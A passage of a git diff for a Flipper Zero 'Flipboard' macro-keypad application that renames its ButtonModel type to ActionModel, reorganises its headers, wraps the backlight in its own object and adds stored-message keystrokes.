FlipboardButton was pressed. + CustomEventAppMenuEnter = 0x2001, // AppMenu was entered. + CustomEventAppMenuExit = 0x2002, // AppMenu was exited. } CustomEventIds; \ No newline at end of file diff --git a/applications/external/flipsignal/common/flipboard.c b/applications/external/flipsignal/common/flipboard.c index 92dfaa46a29..a9769a1ad29 100644 --- a/applications/external/flipsignal/common/flipboard.c +++ b/applications/external/flipsignal/common/flipboard.c @@ -18,7 +18,7 @@ Flipboard* flipboard_alloc( char* app_name, char* primary_item_name, char* about_text, - ButtonModelFields fields, + ActionModelFields fields, bool single_mode_button, bool attach_keyboard, KeystrokeSelectorKey* keys, @@ -38,14 +38,14 @@ Flipboard* flipboard_alloc( view_dispatcher_attach_to_gui(app->view_dispatcher, gui, ViewDispatcherTypeFullscreen); view_dispatcher_set_event_callback_context(app->view_dispatcher, app); - app->button_config = - button_config_alloc(app->model, FlipboardViewConfigureId, keys, shift_keys, rows); + app->action_config = + action_config_alloc(app->model, FlipboardViewConfigureId, keys, shift_keys, rows); - button_config_register_dispatcher(app->button_config, app->view_dispatcher); - button_config_register_variable_item_list(app->button_config, FlipboardViewConfigureSubviewId); - button_config_register_text_input(app->button_config, FlipboardViewConfigureTextInputId); - button_config_register_keystroke_selector( - app->button_config, FlipboardViewConfigureKeystrokeSelectorId); + action_config_register_dispatcher(app->action_config, app->view_dispatcher); + action_config_register_variable_item_list(app->action_config, FlipboardViewConfigureSubviewId); + action_config_register_text_input(app->action_config, FlipboardViewConfigureTextInputId); + action_config_register_keystroke_selector( + app->action_config, FlipboardViewConfigureKeystrokeSelectorId); app->view_primary = get_primary_view(app); @@ -53,8 +53,8 @@ Flipboard* flipboard_alloc( app_menu_add_item( app->app_menu, "Config", - button_config_get_view(app->button_config), - button_config_get_view_id(app->button_config)); + action_config_get_view(app->action_config), + action_config_get_view_id(app->action_config)); app_menu_add_item(app->app_menu, primary_item_name, app->view_primary, FlipboardViewPrimaryId); @@ -77,8 +77,8 @@ void flipboard_free(Flipboard* app) { flipboard_model_free(app->model); view_free(app->view_primary); - if(app->button_config) { - button_config_free(app->button_config); + if(app->action_config) { + action_config_free(app->action_config); } widget_free(app->widget_about); app_menu_free(app->app_menu); @@ -122,9 +122,9 @@ View* flipboard_get_primary_view(Flipboard* app) { * @param view The view to override the config view with. */ void flipboard_override_config_view(Flipboard* app, View* view) { - if(app->button_config) { - button_config_free(app->button_config); - app->button_config = NULL; + if(app->action_config) { + action_config_free(app->action_config); + app->action_config = NULL; } view_dispatcher_remove_view(app->view_dispatcher, FlipboardViewConfigureId); view_dispatcher_add_view(app->view_dispatcher, FlipboardViewConfigureId, view); diff --git a/applications/external/flipsignal/common/flipboard.h b/applications/external/flipsignal/common/flipboard.h index a305ba2cd2d..88f365ef10a 100644 --- a/applications/external/flipsignal/common/flipboard.h +++ b/applications/external/flipsignal/common/flipboard.h @@ -1,5 +1,3 @@ -#pragma once - /** * @file flipboard.h * @brief The main Flipboard application. @@ -12,9 +10,12 @@ * If you have custom data, you can use flipboard_model_set_custom_data. */ +#pragma once + #include #include -#include "button_model.h" + +#include "action_model.h" #include "keystroke_selector.h" typedef struct Flipboard Flipboard; @@ -43,7 +44,7 @@ Flipboard* flipboard_alloc( char* app_name, char* primary_item_name, char* about_text, - ButtonModelFields fields, + ActionModelFields fields, bool single_mode_button, bool attach_keyboard, KeystrokeSelectorKey* keys, diff --git a/applications/external/flipsignal/common/flipboard_file.c b/applications/external/flipsignal/common/flipboard_file.c index d0ffb5bff21..ae5d8cea58b 100644 --- a/applications/external/flipsignal/common/flipboard_file.c +++ b/applications/external/flipsignal/common/flipboard_file.c @@ -1,23 +1,4 @@ -#include "flipboard_file.h" -#include -#include - -#include "button_model.h" - -#define BUY_MSG "Buy your Flipboard at" -#define FLIPBOARD_URL "https://tindie.com/stores/MakeItHackin" - -#define FLIPBOARD_KEY_NAME_SIZE 25 -#define FLIPBOARD_APPS_DATA_FOLDER EXT_PATH("apps_data") -#define FLIPBOARD_SAVE_FOLDER \ - FLIPBOARD_APPS_DATA_FOLDER "/" \ - "flipboard" -#define FLIPBOARD_SAVE_EXTENSION ".txt" - -#define FLIPBOARD_HEADER "Flipper Flipboard File" -#define FLIPBOARD_VERSION 2 - -#define TAG "FlipboardFile" +#include "flipboard_file_i.h" /** * @brief Check if a directory exists, create it if it doesn't. @@ -45,7 +26,7 @@ static void ensure_save_folder_exists(Storage* storage) { * @param model The flipboard model to save. * @param fields The fields to save. */ -bool flipboard_model_save(FlipboardModel* model, ButtonModelFields fields) { +bool flipboard_model_save(FlipboardModel* model, ActionModelFields fields) { bool success = false; Storage* storage = furi_record_open(RECORD_STORAGE); FuriString* file_path = furi_string_alloc(); @@ -85,8 +66,8 @@ bool flipboard_model_save(FlipboardModel* model, ButtonModelFields fields) { } for(int i = 0; i < 16; i++) { - if(flipboard_model_get_button_model(model, i) != NULL) { - button_model_save(flipboard_model_get_button_model(model, i), format, fields); + if(flipboard_model_get_action_model(model, i) != NULL) { + action_model_save(flipboard_model_get_action_model(model, i), format, fields); } } @@ -118,7 +99,7 @@ bool flipboard_model_load(FlipboardModel* model) { FlipperFormat* format = flipper_format_file_alloc(storage); for(size_t i = 0; i < 16; i++) { - flipboard_model_set_button_model(model, i, NULL); + flipboard_model_set_action_model(model, i, NULL); } do { @@ -144,15 +125,15 @@ bool flipboard_model_load(FlipboardModel* model) { break; } for(size_t i = 0; i < 16; i++) { - flipboard_model_set_button_model(model, i, button_model_alloc_from_ff(i, format)); + flipboard_model_set_action_model(model, i, action_model_alloc_from_ff(i, format)); } success = true; } while(false); for(size_t i = 1; i < 16;) { - if(flipboard_model_get_button_model(model, i) == NULL) { - flipboard_model_set_button_model(model, i, button_model_alloc(i)); + if(flipboard_model_get_action_model(model, i) == NULL) { + flipboard_model_set_action_model(model, i, action_model_alloc(i)); } if(flipboard_model_get_single_button_mode(model)) { diff --git a/applications/external/flipsignal/common/flipboard_file.h b/applications/external/flipsignal/common/flipboard_file.h index e6839e3365c..1a178fe052d 100644 --- a/applications/external/flipsignal/common/flipboard_file.h +++ b/applications/external/flipsignal/common/flipboard_file.h @@ -1,19 +1,19 @@ -#pragma once - /** * @file flipboard_file.h * @brief Load and save configuration of the flipboard. */ +#pragma once + +#include "action_model.h" #include "flipboard_model.h" -#include "button_model.h" /** * @brief Save the flipboard model to the settings file. * @param model The flipboard model to save. * @param fields The fields to save. */ -bool flipboard_model_save(FlipboardModel* model, ButtonModelFields fields); +bool flipboard_model_save(FlipboardModel* model, ActionModelFields fields); /** * @brief Load the flipboard model from the settings file. diff --git a/applications/external/flipsignal/common/flipboard_file_i.h b/applications/external/flipsignal/common/flipboard_file_i.h new file mode 100644 index 00000000000..ce9fef60cdd --- /dev/null +++ b/applications/external/flipsignal/common/flipboard_file_i.h @@ -0,0 +1,21 @@ +#pragma once + +#include +#include + +#include "action_model.h" +#include "flipboard_file.h" +#include "../app_config.h" + +#define BUY_MSG "Buy your Flipboard at" +#define FLIPBOARD_URL "https://tindie.com/stores/MakeItHackin" + +#define FLIPBOARD_KEY_NAME_SIZE 25 +#define FLIPBOARD_APPS_DATA_FOLDER EXT_PATH("apps_data") +#define FLIPBOARD_SAVE_FOLDER \ + FLIPBOARD_APPS_DATA_FOLDER "/" \ + "flipboard" +#define FLIPBOARD_SAVE_EXTENSION ".txt" + +#define FLIPBOARD_HEADER "Flipper Flipboard File" +#define FLIPBOARD_VERSION 2 diff --git a/applications/external/flipsignal/common/flipboard_i.h b/applications/external/flipsignal/common/flipboard_i.h index 7ab5b64a0e1..b2586e14a56 100644 --- a/applications/external/flipsignal/common/flipboard_i.h +++ b/applications/external/flipsignal/common/flipboard_i.h @@ -2,8 +2,9 @@ #include #include + +#include "action_config.h" #include "app_menu.h" -#include "button_config.h" #include "flipboard.h" #include "flipboard_model.h" #include "keyboard.h" @@ -18,7 +19,7 @@ struct Flipboard { ViewDispatcher* view_dispatcher; AppMenu* app_menu; - ButtonConfig* button_config; + ActionConfig* action_config; View* view_primary; Widget* widget_about; diff --git a/applications/external/flipsignal/common/flipboard_model.c b/applications/external/flipsignal/common/flipboard_model.c index a2b2edcb8fb..8897afabdde 100644 --- a/applications/external/flipsignal/common/flipboard_model.c +++ b/applications/external/flipsignal/common/flipboard_model.c @@ -9,22 +9,20 @@ * @return A pointer to a FlipboardModel. */ FlipboardModel* - flipboard_model_alloc(char* app_name, bool single_button_mode, ButtonModelFields fields) { + flipboard_model_alloc(char* app_name, bool single_button_mode, ActionModelFields fields) { FlipboardModel* model = (FlipboardModel*)malloc(sizeof(FlipboardModel)); model->name = app_name; model->resources = resources_alloc(); - model->button_model_fields = fields; + model->action_model_fields = fields; model->single_button_mode = single_button_mode; model->keyboard = flipboard_keyboard_alloc(); model->speaker = speaker_alloc(); model->button_monitor = NULL; model->gui_refresh_timer = NULL; model->leds = flipboard_leds_alloc(model->resources); - model->backlight_always_on = true; + model->backlight = backlight_alloc(); + backlight_on(model->backlight); model->custom_data = NULL; - if(model->backlight_always_on) { - backlight_on(); - } flipboard_model_load(model); @@ -38,7 +36,7 @@ FlipboardModel* * @param model The FlipboardModel to free. */ void flipboard_model_free(FlipboardModel* model) { - flipboard_model_save(model, model->button_model_fields); + flipboard_model_save(model, model->action_model_fields); if(model->resources) { resources_free(model->resources); @@ -48,8 +46,8 @@ void flipboard_model_free(FlipboardModel* model) { speaker_free(model->speaker); } - if(model->backlight_always_on) { - backlight_off(); + if(model->backlight) { + backlight_free(model->backlight); } if(model->button_monitor) { @@ -97,27 +95,27 @@ bool flipboard_model_get_single_button_mode(FlipboardModel* model) { } /** - * @brief flipboard_model_get_button_model_fields gets the fields of the + * @brief flipboard_model_get_action_model_fields gets the fields of the * key settings that apply for this application. * @param model The FlipboardModel. * @return The fields of the key settings that apply for this application. */ -ButtonModelFields flipboard_model_get_button_model_fields(FlipboardModel* model) { - return model->button_model_fields; +ActionModelFields flipboard_model_get_action_model_fields(FlipboardModel* model) { + return model->action_model_fields; } /** - * @brief flipboard_model_get_button_model gets the ButtonModel for a given key. - * @brief flipboard_model_get_button_model gets the ButtonModel for a given key. - * For single button keys, the valid indexes are 0, 1, 3, 7. For multi button keys, the + * @brief flipboard_model_get_action_model gets the ButtonModel for a given key. + * @brief flipboard_model_get_action_model gets the ButtonModel for a given key. + * For single button keys, the valid indexes are 0, 1, 3, 7. For multi-button keys, the * valid indexes are 0-15. This function may return NULL, if there is no setting. * @param model The FlipboardModel. * @param key The key. - * @return The ButtonModel for the key. + * @return The ActionModel for the key. */ -ButtonModel* flipboard_model_get_button_model(FlipboardModel* model, uint8_t key) { +ActionModel* flipboard_model_get_action_model(FlipboardModel* model, uint8_t key) { furi_assert(key < 16); - return model->button_model[key]; + return model->action_model[key]; } /** @@ -237,19 +235,19 @@ void flipboard_model_set_gui_refresh_speed_ms(FlipboardModel* model, uint32_t up } /** - * @brief flipboard_model_set_button_model sets the ButtonModel for a given button. - * @details flipboard_model_set_button_model sets the ButtonModel for a given button. + * @brief flipboard_model_set_action_model sets the ActionModel for a given action. + * @details flipboard_model_set_action_model sets the ActionModel for a given action. * For single buttons, the valid indexes are 0, 1, 3, 7. For multi buttons, the valid indexes - * are 0-15. The ButtonModel is used to configure the button settings. + * are 0-15. The ActionModel is used to configure the action settings. * @param model The FlipboardModel. - * @param index The index of the button. - * @param button_model The ButtonModel for the button. + * @param index The index of the action. + * @param button_model The ActionModel for the action. */ -void flipboard_model_set_button_model( +void flipboard_model_set_action_model( FlipboardModel* model, uint8_t index, - ButtonModel* button_model) { - model->button_model[index] = button_model; + ActionModel* action_model) { + model->action_model[index] = action_model; } /** @@ -278,11 +276,25 @@ void flipboard_model_set_button_monitor( /** * @brief flipboard_model_play_tone plays a tone on the FlipboardModel speaker. * @param model The FlipboardModel. - * @param bm The ButtonModel for the button that was pressed. + * @param action_model The ActionModel for the action. */ -void flipboard_model_play_tone(FlipboardModel* model, ButtonModel* bm) { +void flipboard_model_play_tone(FlipboardModel* model, ActionModel* action_model) { Speaker* speaker = flipboard_model_get_speaker(model); - speaker_set_frequency(speaker, button_model_get_frequency(bm)); + speaker_set_frequency(speaker, action_model_get_frequency(action_model)); +} + +/** + * @brief flipboard_model_set_backlight sets the backlight. + * @details flipboard_model_set_backlight sets the backlight. + * @param model The FlipboardModel. + * @param light_on If true, the backlight is turned on, otherwise it is turned off. +*/ +void flipboard_model_set_backlight(FlipboardModel* model, bool light_on) { + if(light_on) { + backlight_on(model->backlight); + } else { + backlight_off(model->backlight); + } } /** @@ -290,20 +302,20 @@ void flipboard_model_play_tone(FlipboardModel* model, ButtonModel* bm) { * @details flipboard_model_set_colors sets the colors for the FlipboardModel. * The colors are used to set the color of the LEDs for each button. * @param model The FlipboardModel. - * @param bm The ButtonModel for the button that was pressed. - * @param new_button The button that was pressed. + * @param action_model The ActionModel for the action. + * @param new_key The keys that were pressed. */ -void flipboard_model_set_colors(FlipboardModel* model, ButtonModel* bm, uint8_t new_key) { +void flipboard_model_set_colors(FlipboardModel* model, ActionModel* action_model, uint8_t new_key) { FlipboardLeds* leds = flipboard_model_get_leds(model); - uint32_t color = bm ? button_model_get_color_down(bm) : 0xFFFFFF; - ButtonModel* bm1 = flipboard_model_get_button_model(model, SwitchId1); - ButtonModel* bm2 = flipboard_model_get_button_model(model, SwitchId2); - ButtonModel* bm3 = flipboard_model_get_button_model(model, SwitchId3); - ButtonModel* bm4 = flipboard_model_get_button_model(model, SwitchId4); - uint32_t color1 = bm1 ? button_model_get_color_up(bm1) : 0x000000; - uint32_t color2 = bm2 ? button_model_get_color_up(bm2) : 0x000000; - uint32_t color3 = bm3 ? button_model_get_color_up(bm3) : 0x000000; - uint32_t color4 = bm4 ? button_model_get_color_up(bm4) : 0x000000; + uint32_t color = action_model ? action_model_get_color_down(action_model) : 0xFFFFFF; + ActionModel* am1 = flipboard_model_get_action_model(model, SwitchId1); + ActionModel* am2 = flipboard_model_get_action_model(model, SwitchId2); + ActionModel* am3 = flipboard_model_get_action_model(model, SwitchId3); + ActionModel* am4 = flipboard_model_get_action_model(model, SwitchId4); + uint32_t color1 = am1 ? action_model_get_color_up(am1) : 0x000000; + uint32_t color2 = am2 ? action_model_get_color_up(am2) : 0x000000; + uint32_t color3 = am3 ? action_model_get_color_up(am3) : 0x000000; + uint32_t color4 = am4 ? action_model_get_color_up(am4) : 0x000000; color1 = (new_key & LedId1) ? color : color1; color2 = (new_key & LedId2) ? color : color2; color3 = (new_key & LedId3) ? color : color3; @@ -319,13 +331,15 @@ void flipboard_model_set_colors(FlipboardModel* model, ButtonModel* bm, uint8_t * @brief flipboard_model_send_keystrokes sends keystrokes to the host. * @details flipboard_model_send_keystrokes sends keystrokes to the host. * @param model The FlipboardModel. - * @param bm The ButtonModel for the button that was pressed. + * @param action_model The ActionModel for the button that was pressed. + * @return True if any "messages" (Msg1-Msg4) were also sent. */ -void flipboard_model_send_keystrokes(FlipboardModel* model, ButtonModel* bm) { - uint8_t keystroke_count = button_model_get_keystrokes_count(bm); +bool flipboard_model_send_keystrokes(FlipboardModel* model, ActionModel* action_model) { + bool sent_messages = false; + uint8_t keystroke_count = action_model_get_keystrokes_count(action_model); uint16_t modifiers = 0; for(int i = 0; i < keystroke_count; i++) { - Keystroke keystroke = button_model_get_keystroke(bm, i); + Keystroke keystroke = action_model_get_keystroke(action_model, i); if(keystroke.button_code == 0 || keystroke.count == 0) { continue; } @@ -337,6 +351,14 @@ void flipboard_model_send_keystrokes(FlipboardModel* model, ButtonModel* bm) { modifiers = 0; continue; + } else if( + keystroke.button_code >= 0xf1 && + keystroke.button_code <= 0xf4) { // 0xf1 = Message 1 ... 0xf4 = Message 4 + for(int j = 0; j < keystroke.count; j++) { + flipboard_model_send_text(model, action_model, keystroke.button_code - 0xf1); + } + sent_messages = true; + continue; } uint16_t send_modifiers = 0; @@ -372,16 +394,22 @@ void flipboard_model_send_keystrokes(FlipboardModel* model, ButtonModel* bm) { modifiers = 0; } } + + return sent_messages; } /** * @brief flipboard_model_send_text sends text to the host. * @details flipboard_model_send_text sends text to the host. * @param model The FlipboardModel. - * @param bm The ButtonModel for the button that was pressed. + * @param action_model The ActionModel for the action. + * @param message_number The message number to send (0-3). */ -void flipboard_model_send_text(FlipboardModel* model, ButtonModel* bm) { - FuriString* message = button_model_get_message(bm); +void flipboard_model_send_text( + FlipboardModel* model, + ActionModel* action_model, + uint8_t message_number) { + FuriString* message = action_model_get_message(action_model, message_number); if(message) { flipboard_keyboard_send_text( flipboard_model_get_keyboard(model), furi_string_get_cstr(message)); diff --git a/applications/external/flipsignal/common/flipboard_model.h b/applications/external/flipsignal/common/flipboard_model.h index 1c144b6ee4d..d6014ba427b 100644 --- a/applications/external/flipsignal/common/flipboard_model.h +++ b/applications/external/flipsignal/common/flipboard_model.h @@ -1,5 +1,3 @@ -#pragma once - /** * @file flipboard_model.h * @brief The flipboard model. @@ -8,9 +6,12 @@ * text, playing tones, etc. */ +#pragma once + #include + +#include "action_model.h" #include "button_monitor.h" -#include "button_model.h" #include "resources.h" #include "speaker.h" @@ -28,7 +29,7 @@ typedef struct ButtonModel ButtonModel; * @return A pointer to a FlipboardModel. */ FlipboardModel* - flipboard_model_alloc(char* app_name, bool single_button_mode, ButtonModelFields fields); + flipboard_model_alloc(char* app_name, bool single_button_mode, ActionModelFields fields); /** * @brief flipboard_model_free frees a FlipboardModel. @@ -66,23 +67,23 @@ Resources* flipboard_model_get_resources(FlipboardModel* model); bool flipboard_model_get_single_button_mode(FlipboardModel* model); /** - * @brief flipboard_model_get_button_model_fields gets the fields of the + * @brief flipboard_model_get_action_model_fields gets the fields of the * button settings that apply for this application. * @param model The FlipboardModel. * @return The fields of the button settings that apply for this application. */ -ButtonModelFields flipboard_model_get_button_model_fields(FlipboardModel* model); +ActionModelFields flipboard_model_get_action_model_fields(FlipboardModel* model); /** - * @brief flipboard_model_get_button_model gets the ButtonModel for a given button. - * @brief flipboard_model_get_button_model gets the ButtonModel for a given button. - * For single buttons, the valid indexes are 0, 1, 3, 7. For multi buttons, the valid indexes + * @brief flipboard_model_get_action_model gets the ActionModel for a given action. + * @brief flipboard_model_get_action_model gets the ActionModel for a given action. + * For single buttons, the valid indexes are 0, 1, 3, 7. For multi-buttons, the valid indexes * are 0-15. This function may return NULL, if there is no setting. * @param model The FlipboardModel. * @param button The button. - * @return The ButtonModel for the button. + * @return The ActionModel for the action. */ -ButtonModel* flipboard_model_get_button_model(FlipboardModel* model, uint8_t button); +ActionModel* flipboard_model_get_action_model(FlipboardModel* model, uint8_t button); /** * @brief flipboard_model_get_button_monitor gets the ButtonMonitor for the FlipboardModel. @@ -158,18 +159,18 @@ void flipboard_model_update_gui(FlipboardModel* model); void flipboard_model_set_gui_refresh_speed_ms(FlipboardModel* model, uint32_t update_rate_ms); /** - * @brief flipboard_model_set_button_model sets the ButtonModel for a given button. - * @details flipboard_model_set_button_model sets the ButtonModel for a given button. - * For single buttons, the valid indexes are 0, 1, 3, 7. For multi buttons, the valid indexes - * are 0-15. The ButtonModel is used to configure the button settings. + * @brief flipboard_model_set_action_model sets the ButtonModel for a given action. + * @details flipboard_model_set_action_model sets the ButtonModel for a given action. + * For single buttons, the valid indexes are 0, 1, 3, 7. For multi-buttons, the valid indexes + * are 0-15. The ActionModel is used to configure the action settings. * @param model The FlipboardModel. - * @param index The index of the button. - * @param button_model The ButtonModel for the button. + * @param index The index of the action. + * @param action_model The ActionModel for the action. */ -void flipboard_model_set_button_model( +void flipboard_model_set_action_model( FlipboardModel* model, uint8_t index, - ButtonModel* button_model); + ActionModel* action_model); /** * @brief flipboard_model_set_button_monitor sets the ButtonMonitor for the FlipboardModel. @@ -187,35 +188,51 @@ void flipboard_model_set_button_monitor( /** * @brief flipboard_model_play_tone plays a tone on the FlipboardModel speaker. * @param model The FlipboardModel. - * @param bm The ButtonModel for the button that was pressed. + * @param action_model The ActionModel for the action. */ -void flipboard_model_play_tone(FlipboardModel* model, ButtonModel* bm); +void flipboard_model_play_tone(FlipboardModel* model, ActionModel* action_model); + +/** + * @brief flipboard_model_set_backlight sets the backlight. + * @details flipboard_model_set_backlight sets the backlight. + * @param model The FlipboardModel. + * @param light_on If true, the backlight is turned on, otherwise it is turned off. +*/ +void flipboard_model_set_backlight(FlipboardModel* model, bool light_on); /** * @brief flipboard_model_set_colors sets the colors for the FlipboardModel. * @details flipboard_model_set_colors sets the colors for the FlipboardModel. * The colors are used to set the color of the LEDs for each button. * @param model The FlipboardModel. - * @param bm The ButtonModel for the button that was pressed. + * @param action_model The ActionModel for the action. * @param new_button The button that was pressed. */ -void flipboard_model_set_colors(FlipboardModel* model, ButtonModel* bm, uint8_t new_button); +void flipboard_model_set_colors( + FlipboardModel* model, + ActionModel* action_model, + uint8_t new_button); /** * @brief flipboard_model_send_keystrokes sends keystrokes to the host. * @details flipboard_model_send_keystrokes sends keystrokes to the host. * @param model The FlipboardModel. - * @param bm The ButtonModel for the button that was pressed. + * @param action_model The ActionModel for the action. + * @return True if any "messages" (Msg1-Msg4) were also sent. */ -void flipboard_model_send_keystrokes(FlipboardModel* model, ButtonModel* bm); +bool flipboard_model_send_keystrokes(FlipboardModel* model, ActionModel* action_model); /** * @brief flipboard_model_send_text sends text to the host. * @details flipboard_model_send_text sends text to the host. * @param model The FlipboardModel. - * @param bm The ButtonModel for the button that was pressed. + * @param action_model The ActionModel for the action. + * @param message_number The message number to send (0-3). */ -void flipboard_model_send_text(FlipboardModel* model, ButtonModel* bm); +void flipboard_model_send_text( + FlipboardModel* model, + ActionModel* action_model, + uint8_t message_number); /** * @brief flipboard_model_reduce reduces the button presses to a single button. diff --git a/applications/external/flipsignal/common/flipboard_model_i.h b/applications/external/flipsignal/common/flipboard_model_i.h index 49caf6581c5..5a6e59c39d9 100644 --- a/applications/external/flipsignal/common/flipboard_model_i.h +++ b/applications/external/flipsignal/common/flipboard_model_i.h @@ -1,25 +1,25 @@ #pragma once -#include "flipboard_file.h" -#include "flipboard_model.h" +#include + #include "backlight.h" #include "button_monitor.h" +#include "flipboard_file.h" +#include "flipboard_model.h" #include "keyboard.h" #include "leds.h" #include "speaker.h" -#include - /** * @brief The flipboard model struct. * @details This struct contains all the data needed for the flipboard model. */ struct FlipboardModel { - // ButtonModel for each of the button combinations - ButtonModel* button_model[16]; + // ActionModel for each of the button combinations + ActionModel* action_model[16]; - // The fields of the ButtonModel that are currently active - ButtonModelFields button_model_fields; + // The fields of the ActionModel that are currently active + ActionModelFields action_model_fields; // The name of the model (used for saving and loading) char* name; @@ -48,8 +48,8 @@ struct FlipboardModel { // True if the speaker is enabled bool has_speaker; - // True if the backlight is always on - bool backlight_always_on; + // Used to control the backlight. + Backlight* backlight; // Custom data that can be used when extending the application. void* custom_data; diff --git a/applications/external/flipsignal/common/flipboard_model_ref.h b/applications/external/flipsignal/common/flipboard_model_ref.h index f1f58ecd20b..76f6cacd7c3 100644 --- a/applications/external/flipsignal/common/flipboard_model_ref.h +++ b/applications/external/flipsignal/common/flipboard_model_ref.h @@ -1,5 +1,3 @@ -#pragma once - /** * @file flipboard_model_ref.h * @brief Reference to a FlipboardModel. @@ -7,6 +5,8 @@ * that cant take a pointer to an existing FlipboardModel. */ +#pragma once + #include "flipboard_model.h" /** diff --git a/applications/external/flipsignal/common/infrared_signal.c b/applications/external/flipsignal/common/infrared_signal.c index 2d5311e4778..84d94e663f9 100644 --- a/applications/external/flipsignal/common/infrared_signal.c +++ b/applications/external/flipsignal/common/infrared_signal.c @@ -1,11 +1,4 @@ -#include -#include -#include -#include -#include - -#include "../app_config.h" -#include "infrared_signal.h" +#include "infrared_signal_i.h" struct InfraredSignal { Resources* resources; @@ -21,10 +14,11 @@ struct InfraredSignal { /** * @brief Load an infrared signal (action) from a file. - * @details Load an infrared signal (action) from a file. The first signal is loaded and ready for sending. + * @note The first signal is loaded and ready for sending. * @param file_path The path to the file to load. * @param action The name of the action to load from the file. * @param resources The resources to use for sending the signal. + * @return The loaded signal, or NULL if there was an error. */ InfraredSignal* infrared_signal_load_file(char* file_path, char* action, Resources* resources) { InfraredSignal* signal = (InfraredSignal*)malloc(sizeof(InfraredSignal)); @@ -132,7 +126,7 @@ bool infrared_signal_load_next(InfraredSignal* signal) { break; } - // TODO: How is this supposed to be determined? + // TODO: How is infrared start_from_mark supposed to be determined? signal->start_from_mark = true; } else { FURI_LOG_E(TAG, "Unknown type field: %s", furi_string_get_cstr(temp_str)); @@ -147,6 +141,8 @@ bool infrared_signal_load_next(InfraredSignal* signal) { signal->message.protocol = InfraredProtocolUnknown; } + furi_string_free(temp_str); + return parsed; } diff --git a/applications/external/flipsignal/common/infrared_signal.h b/applications/external/flipsignal/common/infrared_signal.h index 418f84124b2..0eec6bbb04e 100644 --- a/applications/external/flipsignal/common/infrared_signal.h +++ b/applications/external/flipsignal/common/infrared_signal.h @@ -1,16 +1,27 @@ +/** + * @file infrared_signal.h + * @brief This file contains the infrared signal module. + * @details This file contains the infrared signal module for sending infrared signals from a file. + * Both raw and parsed signals are supported. The file can be in either format "IR signals file" + * or "IR library file". + * @name There is no 'infrared_signal_alloc' function. Use 'infrared_signal_load_file'. +*/ + #pragma once #include + #include "resources.h" typedef struct InfraredSignal InfraredSignal; /** * @brief Load an infrared signal (action) from a file. - * @details Load an infrared signal (action) from a file. The first signal is loaded and ready for sending. + * @note The first signal is loaded and ready for sending. * @param file_path The path to the file to load. * @param action The name of the action to load from the file. * @param resources The resources to use for sending the signal. + * @return The loaded signal, or NULL if there was an error. */ InfraredSignal* infrared_signal_load_file(char* path, char* action, Resources* resources); diff --git a/applications/external/flipsignal/common/infrared_signal_i.h b/applications/external/flipsignal/common/infrared_signal_i.h new file mode 100644 index 00000000000..3d1e18d914e --- /dev/null +++ b/applications/external/flipsignal/common/infrared_signal_i.h @@ -0,0 +1,10 @@ +#pragma once + +#include +#include +#include +#include +#include + +#include "../app_config.h" +#include "infrared_signal.h" \ No newline at end of file diff --git a/applications/external/flipsignal/common/keyboard.c b/applications/external/flipsignal/common/keyboard.c index 59b8f34bbc5..68f7ffb6af6 100644 --- a/applications/external/flipsignal/common/keyboard.c +++ b/applications/external/flipsignal/common/keyboard.c @@ -1,8 +1,5 @@ #include "keyboard_i.h" -#define PRESS_DELAY_MS 20 -#define RELEASE_DELAY_MS 5 - /** * @brief Allocates a new flipboard keyboard. * @details Allocates a new flipboard keyboard. The keyboard is diff --git a/applications/external/flipsignal/common/keyboard.h b/applications/external/flipsignal/common/keyboard.h index f76348ca606..87aa18bfa72 100644 --- a/applications/external/flipsignal/common/keyboard.h +++ b/applications/external/flipsignal/common/keyboard.h @@ -1,11 +1,11 @@ -#pragma once - /** * @file keyboard.h * @brief A keyboard that can be used to send key codes to the host using the * USB cable connected to the Flipper Zero. */ +#pragma once + #include #include diff --git a/applications/external/flipsignal/common/keyboard_i.h b/applications/external/flipsignal/common/keyboard_i.h index f2322695c54..598e3a7b5b8 100644 --- a/applications/external/flipsignal/common/keyboard_i.h +++ b/applications/external/flipsignal/common/keyboard_i.h @@ -5,6 +5,12 @@ #include "keyboard.h" +// How long to wait after pressing the button before performing next action. +#define PRESS_DELAY_MS 20 + +// How long to wait after releasing the button before performing next action. +#define RELEASE_DELAY_MS 5 + struct FlipboardKeyboard { FuriHalUsbInterface* usb_previous; bool attached; diff --git a/applications/external/flipsignal/common/keystroke_selector.c b/applications/external/flipsignal/common/keystroke_selector.c index d0ce55de622..c6692d29771 100644 --- a/applications/external/flipsignal/common/keystroke_selector.c +++ b/applications/external/flipsignal/common/keystroke_selector.c @@ -1,17 +1,53 @@ #include "keystroke_selector_i.h" -#define KEYSTROKE_SELECTOR_DEFAULT_TOP_ROW 2 -#define KEYSTROKE_SELECTOR_DISPLAYED_ROWS 5 -#define KEYSTROKE_SELECTOR_DISPLAYED_WIDTH 10 -#define KEYSTROKE_SELECTOR_DISPLAYED_HEIGHT 13 -#define KEYSTROKE_SELECTOR_GLYPH_HEIGHT_OFFSET 10 -#define KEYSTROKE_SELECTOR_IMAGE_HEIGHT_OFFSET 1 -#define KEYSTROKE_SELECTOR_COLS 12 +struct KeystrokeSelectorModel { + // The total number of rows. + uint8_t rows; -static KeystrokeSelectorKeyResult - keystroke_selector_model_find_key(KeystrokeSelectorModel* model, uint16_t key_code); -static void keystroke_selector_draw_callback(Canvas* canvas, void* context); -static bool keystroke_selector_input_callback(InputEvent* event, void* context); + // The total number of columns. + uint8_t cols; + + // An array of all the keys. + KeystrokeSelectorKey* keys; + + // The current row to show at the top of the view. + uint8_t top_row; + + // The current column where the cursor is. + uint8_t current_col; + + // The current row where the cursor is. + uint8_t current_row; + + // Any modifiers that should be sent with the keystroke (CTRL, SHIFT, etc.) + uint16_t modifiers; + + // The callback to call when a key is selected. + KeystrokeSelectorCallback callback; + + // The context to pass to the callback. + void* callback_context; +}; + +struct KeystrokeSelectorKeyResult { + // The code that should be sent to the host. + uint16_t code; + + // The character that should be displayed on the key. + char ch; + + // The icon that should be displayed on the key (set ch to 0). + const Icon* icon; + + // The starting column of the key. + uint8_t col; + + // The row of the key. + uint8_t row; + + // The width of the key. + uint8_t width; +}; /** * @brief Allocates a new keystroke selector. diff --git a/applications/external/flipsignal/common/keystroke_selector.h b/applications/external/flipsignal/common/keystroke_selector.h index 6c4d83c3049..fc5d9cecd62 100644 --- a/applications/external/flipsignal/common/keystroke_selector.h +++ b/applications/external/flipsignal/common/keystroke_selector.h @@ -1,5 +1,3 @@ -#pragma once - /** * @file keystroke_selector.h * @brief A view that allows the user to select a keystroke. @@ -8,17 +6,23 @@ * the OK button. The view will call a callback when a key is selected. */ +#pragma once + #include -#include "button_model.h" + +#include "action_model.h" typedef struct KeystrokeSelector 